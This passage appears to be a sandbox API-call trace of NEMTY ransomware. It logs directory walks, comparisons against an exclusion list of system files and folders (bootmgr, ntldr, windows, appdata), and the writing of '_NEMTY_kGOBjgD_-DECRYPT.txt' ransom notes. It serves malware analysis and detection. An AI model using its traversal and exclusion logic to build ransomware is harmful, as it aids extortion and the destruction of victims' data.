hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.643] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf6dd130, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf6dd130, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf6dd130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.643] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.644] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd6e0990, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcd6e0990, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd6e0990, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.644] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed80, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.645] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd6e0990, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcd6e0990, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcd6e0990, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.645] FindClose (in: hFindFile=0x34239b0 | out: hFindFile=0x34239b0) returned 1 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.645] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2=".") returned 1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2="..") returned 1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2="...") returned 1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2="windows") returned -1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2="$RECYCLE.BIN") returned 1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2="rsa") returned -1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2="NTDETECT.COM") returned -1 [0046.645] lstrcmpiW (lpString1="bootmgr", lpString2="ntldr") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="MSDOS.SYS") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="IO.SYS") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="boot.ini") returned 1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="boot.ini") returned 1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="AUTOEXEC.BAT") returned 1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="ntuser.dat") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="desktop.ini") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="CONFIG.SYS") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="RECYCLER") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="BOOTSECT.BAK") returned -1 [0046.646] lstrcmpiW (lpString1="bootmgr", lpString2="bootmgr") returned 0 [0046.646] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="...") returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="windows") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="$RECYCLE.BIN") returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="rsa") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="NTDETECT.COM") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ntldr") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="MSDOS.SYS") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="IO.SYS") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="boot.ini") returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="boot.ini") returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="AUTOEXEC.BAT") returned 1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ntuser.dat") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="desktop.ini") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="CONFIG.SYS") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="RECYCLER") returned -1 [0046.646] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="BOOTSECT.BAK") returned 0 [0046.646] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0046.646] lstrcmpiW (lpString1="Config.Msi", lpString2=".") returned 1 [0046.646] lstrcmpiW (lpString1="Config.Msi", lpString2="..") returned 1 [0046.646] lstrcmpiW (lpString1="Config.Msi", lpString2="...") returned 1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="windows") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="$RECYCLE.BIN") returned 1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="rsa") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="NTDETECT.COM") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="ntldr") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="MSDOS.SYS") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="IO.SYS") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="boot.ini") returned 1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="boot.ini") returned 1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="AUTOEXEC.BAT") returned 1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="ntuser.dat") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="desktop.ini") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="CONFIG.SYS") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="RECYCLER") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="BOOTSECT.BAK") returned 1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="bootmgr") returned 1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="programdata") returned -1 [0046.647] lstrcmpiW (lpString1="Config.Msi", lpString2="appdata") returned 1 [0046.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Config.Msi", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Config.Msi", cchWideChar=10, lpMultiByteStr=0x653fc10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Config.Msi", lpUsedDefaultChar=0x0) returned 10 [0046.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Config.Msi", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Config.Msi", cchWideChar=10, lpMultiByteStr=0x653fc10, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Config.Msi", lpUsedDefaultChar=0x0) returned 10 [0046.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.648] CreateFileW (lpFileName="C:\\Config.Msi\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\config.msi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0046.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.648] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.648] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0046.649] CloseHandle (hObject=0x3bc) returned 1 [0046.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.650] CreateFileW (lpFileName="C:\\Config.Msi\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\config.msi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0046.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.651] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.651] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.652] CloseHandle (hObject=0x3bc) returned 1 [0046.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.652] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xcf80dc30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf80dc30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34239b0 [0046.652] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.652] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xcf80dc30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf80dc30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.652] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.652] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.652] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf80dc30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf80dc30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf80dc30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.652] lstrcmpiW 